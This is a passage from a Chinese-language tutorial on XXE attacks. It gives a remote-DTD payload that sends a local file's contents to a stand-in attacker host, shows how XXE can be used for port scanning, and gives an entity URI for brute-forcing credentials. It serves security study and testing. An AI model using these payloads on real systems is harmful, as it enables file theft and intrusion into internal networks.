<root>&send;</root>

这里 DTD 定义了两个外部参数实体:file 加载本地文件,dtd 加载远程 DTD。远程 DTD 应包含如下内容

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://example.com/?%file;'>">
%all;

第二个 DTD 会导致系统将 file 的内容作为 URL 参数发送回攻击者的服务器。

端口扫描

端口扫描生成的信息量和类型将取决于实现类型。响应可分为以下几类,从易到难排列

1) 完全披露:这是最简单且最不寻常的场景,通过完全披露,您可以通过接收来自被查询服务器的完整响应来清楚地看到发生的情况。您对连接到远程主机时发生的情况有一个精确的表示。

2) 基于错误:如果您无法看到远程服务器的响应,您可能可以使用错误响应生成的信息。考虑一个 web 服务在尝试建立连接时在 SOAP 故障元素中泄露错误详细信息

java.io.IOException: Server returned HTTP response code: 401 for URL: http://192.168.1.1:80
 at sun.net.www.protocol.http.HttpURLConnection.getInputStream(HttpURLConnection.java:1459)
 at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.setupCurrentEntity(XMLEntityManager.java:674)

3) 基于超时:扫描器在连接到开放或关闭端口时可能会根据 schema 和底层实现生成超时。如果超时发生在您尝试连接到关闭端口时(可能需要一分钟),则连接到有效端口的响应时间将非常快(例如一秒)。开放端口和关闭端口之间的差异变得非常明显。

4) 基于时间:有时可能很难区分关闭端口和开放端口,因为结果非常微妙。了解端口状态的唯一方法是多次测量到达每个主机所需的时间,然后您应该分析每个端口的平均时间以确定每个端口的状态。如果在较高延迟网络中执行此类型的攻击将很难完成。

暴力破解

一旦攻击者确认可以执行端口扫描,执行暴力破解攻击就是将 usernamepassword 嵌入到 URI 方案(http、ftp 等)中。 例如,请参见以下示例

<!DOCTYPE root [
 <!ENTITY user SYSTEM "http://username:[email protected]:8080">
]>
<root>&user;</root>